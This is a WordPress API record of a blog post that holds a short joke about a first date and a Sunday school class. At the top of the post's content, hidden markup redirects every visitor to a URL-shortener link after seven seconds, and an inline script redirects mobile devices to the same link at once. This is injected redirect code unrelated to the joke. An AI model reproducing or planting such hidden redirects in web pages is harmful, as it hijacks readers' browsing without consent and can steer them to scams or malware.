{"id":8913,"date":"2024-04-07T22:57:54","date_gmt":"2024-04-07T22:57:54","guid":{"rendered":"https:\/\/ourtimenew.com\/?p=8913"},"modified":"2024-04-07T22:57:54","modified_gmt":"2024-04-07T22:57:54","slug":"a-man-asked-his","status":"publish","type":"post","link":"https:\/\/ourtimenew.com\/?p=8913","title":{"rendered":"A man asked his"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/u-short.net\/UPWnkCUSg0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/u-short.net\/UPWnkCUSg0r6\");<\/script><br \/>\nOn their first date, a man asked his companion if she\u2019d like a drink with dinner.\u201cOh, no, what would I tell my Sunday school class?\u201d she said.Later, he offered her a cigarette.<\/p>\n<p>\u201cOh, no, what would I tell my Sunday school class?\u201d she said again.On the drive home, he saw a motel.Figuring he had nothing to lose, he asked if she wanted to stop in there.\u201cOkay,\u201d his date replied.Shocked, he asked,\u201cWhat will you tell your Sunday school class?\u201d\u201cThe same thing I always tell them,\u2026\u201d \u201cYou don\u2019t have to drink or smoke to have a good time.\u201d<\/p>\n","protected":false},"excerpt":{"rendered":"<p>On their first date, a man asked his companion if she\u2019d like a drink with dinner.\u201cOh, no, what would I tell my Sunday school class?\u201d she said.Later,&#8230; <\/p>\n","protected":false},"author":1,"featured_media":8914,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-8913","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/8913","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8913"}],"version-history":[{"count":1,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/8913\/revisions"}],"predecessor-version":[{"id":8915,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/8913\/revisions\/8915"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/media\/8914"}],"wp:attachment":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8913"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8913"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8913"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}